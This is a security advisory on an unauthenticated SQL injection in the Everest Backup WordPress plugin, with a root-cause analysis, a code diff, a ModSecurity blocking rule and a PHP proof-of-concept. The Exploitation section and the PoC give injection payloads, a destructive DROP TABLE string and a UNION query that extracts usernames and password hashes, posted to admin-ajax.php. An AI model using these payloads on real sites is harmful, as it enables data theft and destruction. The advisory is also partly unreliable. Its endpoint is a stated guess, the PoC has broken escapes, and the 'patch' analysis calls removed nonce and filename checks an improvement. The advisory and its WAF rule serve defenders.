Atomic Edge analysis of CVE-2026-66472: The Everest Backup plugin for WordPress (versions <= 2.3.12) contains an unauthenticated SQL injection vulnerability rated CVSS 7.5. The flaw resides in the database export and setup components, where user-supplied table prefix parameters are concatenated directly into SQL queries without proper sanitization or parameterization. This allows an attacker to inject arbitrary SQL statements into queries executed by the plugin, potentially leading to sensitive data disclosure.
Root Cause: The vulnerability originates from the handling of the 'ebwp_site_db_prefix' parameter in multiple files. In inc/core/export/class-database.php (lines 37-42 and 188-193), the prefix is read from $params and used to build a table name for SQL queries via string concatenation, without validation. Similarly, in inc/core/export/class-setup.php (lines 59-64), the prefix is used to construct a table name for a query that retrieves the site URL. The patch adds a regular expression check to ensure the prefix contains only alphanumeric characters and underscores, and in class-setup.php it also verifies that the table actually exists. The root cause is the lack of input validation and the use of unprepared SQL statements where the table prefix is injected directly into the query.
Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to an endpoint that triggers the vulnerable code path. The exact endpoint is not specified in the diff, but it likely involves an AJAX action or a direct request to a plugin file that handles backup or export operations. The attacker supplies a malicious value for the 'ebwp_site_db_prefix' parameter, such as "wp_options; DROP TABLE wp_users; –", which is then used in a SQL query. For example, a request to /wp-admin/admin-ajax.php with action=everest_backup_export and a POST parameter ebwp_site_db_prefix containing SQL injection payloads could execute arbitrary SQL. Since the vulnerability is unauthenticated, no nonce or login is required.
Patch Analysis: The patch addresses the issue by validating the 'ebwp_site_db_prefix' parameter in three locations. In inc/core/export/class-database.php, the code now checks if the prefix matches '/^[a-zA-Z0-9_]+$/' before using it; if not, it returns early, preventing further processing. In inc/core/export/class-setup.php, the same validation is applied, and additionally, a check is performed to ensure the table exists using a prepared statement (SHOW TABLES LIKE %s). These changes ensure that only valid table prefixes (containing only alphanumeric characters and underscores) are used in queries, effectively blocking SQL injection. The patch also includes unrelated fixes in class-list-backup.php and functions.php, which add capability checks and improve nonce verification.
Impact: Successful exploitation allows an attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information such as user credentials, session tokens, and other confidential data. In severe cases, an attacker might escalate privileges or modify data, though the primary risk is data disclosure. The unauthenticated nature of the vulnerability makes it particularly dangerous, as any remote attacker can exploit it without prior access.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/everest-backup/everest-backup.php
+++ b/everest-backup/everest-backup.php
@@ -5,7 +5,7 @@
* Description: Everest Backup is a modern tool that will take care of your website's backups, restoration, migration and cloning.
* Author: everestthemes
* Author URI: https://everestthemes.com/
- * Version: 2.3.12
+ * Version: 2.3.13
* Text Domain: everest-backup
* License: GPLv3 or later
* License URI: LICENSE
--- a/everest-backup/inc/core/class-list-backup.php
+++ b/everest-backup/inc/core/class-list-backup.php
@@ -46,23 +46,18 @@
* It will detect if the backup is encrypted or not.
*/
public function list_backup() {
- $request = everest_backup_get_ajax_response( 'everest_backup_list_backup_content' );
-
- if ( empty( $request ) || empty( $request['file'] ) ) {
- echo wp_json_encode( false );
- exit;
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
}
-
- $file = basename( $request['file'] );
- $resume = $request['resume'] ?? false;
- $c_seek = $request['c_seek'] ?? false;
- $path = everest_backup_get_backup_full_path( $file );
-
- if ( $path && file_exists( $path ) ) {
+ $request = everest_backup_get_submitted_data();
+ $file = $request['file'];
+ $resume = $request['resume'] ?? false;
+ $c_seek = $request['c_seek'] ?? false;
+ $path = everest_backup_get_backup_full_path( $file );
+ if ( file_exists( $path ) ) {
echo wp_json_encode( $this->scan_file( $path, $resume, $c_seek ) );
exit;
}
-
echo wp_json_encode( false );
exit;
}
@@ -106,20 +101,17 @@
* @since 2.3.0
*/
public function generate_backup() {
- $request = everest_backup_get_ajax_response( 'everest_backup_generate_backup_list_file' );
-
- if ( empty( $request ) ) {
- echo wp_json_encode( false );
- exit;
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
}
- if ( ! isset( $request['file'] ) || ! isset( $request['start'] ) || ! isset( $request['backup'] ) ) {
+ $request = everest_backup_get_submitted_data();
+ if ( ! isset( $request['file'] ) || ! isset( $request['start'] ) ) {
echo wp_json_encode( false );
exit;
}
-
- $backup = basename( $request['backup'] );
- $file = sanitize_file_name( basename( $request['file'] ) );
+ $backup = $request['backup'];
+ $file = $request['file'];
$start = $request['start'];
$end = $request['end'];
$resume = $request['resume'] ?? false;
@@ -127,7 +119,7 @@
$path = everest_backup_get_backup_full_path( $backup );
- if ( $path && file_exists( $path ) ) {
+ if ( file_exists( $path ) ) {
$archiver = new Archiver_V2( $path );
$archiver->open( 'rb' );
--- a/everest-backup/inc/core/export/class-database.php
+++ b/everest-backup/inc/core/export/class-database.php
@@ -37,6 +37,11 @@
if ( isset( $params['ebwp_site_db_prefix'] ) ) {
$prefix = $params['ebwp_site_db_prefix'];
+
+ // Sanitize: WordPress table prefixes only contain alphanumeric chars and underscores.
+ if ( ! preg_match( '/^[a-zA-Z0-9_]+$/', $prefix ) ) {
+ return;
+ }
} else {
global $wpdb;
$prefix = $wpdb->prefix;
@@ -188,6 +193,11 @@
if ( isset( $params['ebwp_site_db_prefix'] ) ) {
$prefix = $params['ebwp_site_db_prefix'];
+
+ // Sanitize: WordPress table prefixes only contain alphanumeric chars and underscores.
+ if ( ! preg_match( '/^[a-zA-Z0-9_]+$/', $prefix ) ) {
+ return;
+ }
} else {
global $wpdb;
$prefix = $wpdb->prefix;
--- a/everest-backup/inc/core/export/class-setup.php
+++ b/everest-backup/inc/core/export/class-setup.php
@@ -59,8 +59,23 @@
if ( isset( self::$params['ebwp_site_db_prefix'] ) ) {
$prefix = self::$params['ebwp_site_db_prefix'];
+ // Sanitize: WordPress table prefixes only contain alphanumeric chars and underscores.
+ if ( ! preg_match( '/^[a-zA-Z0-9_]+$/', $prefix ) ) {
+ Logs::error( __( 'Invalid database prefix.', 'everest-backup' ) );
+ return;
+ }
+
$table_name = $prefix . 'options';
+ // Verify the table actually exists in the database.
+ $table_exists = $wpdb->get_var(
+ $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name )
+ );
+ if ( ! $table_exists ) {
+ Logs::error( __( 'Invalid database prefix: table does not exist.', 'everest-backup' ) );
+ return;
+ }
+
// Query to get the 'siteurl'
$url = $wpdb->get_row(
$wpdb->prepare(
--- a/everest-backup/inc/functions.php
+++ b/everest-backup/inc/functions.php
@@ -2409,13 +2409,22 @@
$nonce = ! empty( $_REQUEST[ $action ] ) ? sanitize_text_field( wp_unslash( $_REQUEST[ $action ] ) ) : '';
- if ( strlen( $nonce ) === 60 ) {
- return password_verify( get_option( 'everest_backup_ajax_manual_nonce' ), $nonce );
+ if ( 60 === strlen( $nonce ) ) {
+ $stored_nonce = get_option( 'everest_backup_ajax_manual_nonce' );
+
+ if ( empty( $stored_nonce ) ) {
+ // Return false early if the stored option is empty/unset.
+ return false;
+ }
+
+ return password_verify( $stored_nonce, $nonce );
}
if ( $nonce && $action ) {
return wp_verify_nonce( $nonce, $action );
}
+
+ return false;
}
/**
--- a/everest-backup/vendor/composer/installed.php
+++ b/everest-backup/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'everest-backup/everest-backup',
'pretty_version' => 'dev-main',
'version' => 'dev-main',
- 'reference' => '6be091dc6264247b6efa6e1afff5943e268de906',
+ 'reference' => 'a8f6c2f4754ab42f3697437b9f24dc27759385e3',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -13,7 +13,7 @@
'everest-backup/everest-backup' => array(
'pretty_version' => 'dev-main',
'version' => 'dev-main',
- 'reference' => '6be091dc6264247b6efa6e1afff5943e268de906',
+ 'reference' => 'a8f6c2f4754ab42f3697437b9f24dc27759385e3',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -40,9 +40,9 @@
'dev_requirement' => false,
),
'symfony/finder' => array(
- 'pretty_version' => 'v8.1.0',
- 'version' => '8.1.0.0',
- 'reference' => '58d2e767a66052c1487356f953445634a8194c64',
+ 'pretty_version' => 'v8.1.1',
+ 'version' => '8.1.1.0',
+ 'reference' => 'e2989e762c70f9490fa3a00a0ac0fae5aa97a531',
'type' => 'library',
'install_path' => __DIR__ . '/../symfony/finder',
'aliases' => array(),
--- a/everest-backup/vendor/symfony/finder/Finder.php
+++ b/everest-backup/vendor/symfony/finder/Finder.php
@@ -851,7 +851,7 @@
/**
* Normalizes given directory names by removing trailing slashes.
*
- * Excluding: (s)ftp:// or ssh2.(s)ftp:// wrapper
+ * Excluding: stream wrapper schemes such as ftp:// or s3://
*/
private function normalizeDir(string $dir): string
{
@@ -861,7 +861,7 @@
$dir = rtrim($dir, '/'.DIRECTORY_SEPARATOR);
- if (preg_match('#^(ssh2.)?s?ftp://#', $dir)) {
+ if (preg_match('#^[a-zA-Z][a-zA-Z0-9.+-]*://#', $dir)) {
$dir .= '/';
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66472
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266672,phase:2,deny,status:403,chain,msg:'CVE-2026-66472 via Everest Backup AJAX SQLi',severity:'CRITICAL',tag:'CVE-2026-66472'"
SecRule ARGS_POST:action "@rx ^everest_backup_(export|generate_backup_list_file)$" "chain"
SecRule ARGS_POST:ebwp_site_db_prefix "@rx [^a-zA-Z0-9_]" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66472 - Everest Backup <= 2.3.12 - Unauthenticated SQL Injection
$target_url = 'http://example.com'; // Change to your target WordPress site
// The vulnerable parameter is ebwp_site_db_prefix, likely passed via POST
// We target the AJAX endpoint that triggers the export or setup functionality.
// Based on the plugin structure, the export might be triggered via an AJAX action.
// We'll try a common action name for the export functionality.
// Note: The actual action name may vary; this is a best guess based on plugin naming.
$payload = "wp_users WHERE 1=1 UNION SELECT user_login, user_pass FROM wp_users -- "; // Example SQLi payload
$data = array(
'action' => 'everest_backup_export', // or 'everest_backup_generate_backup_list_file'
'ebwp_site_db_prefix' => $payload,
// Include other parameters that might be required to reach the vulnerable code
'file' => 'test',
'start' => '0',
'backup' => 'test',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";
// If the injection is successful, the response might contain data from the wp_users table
// or exhibit errors indicating SQL execution.
// This PoC is for educational purposes only.
?>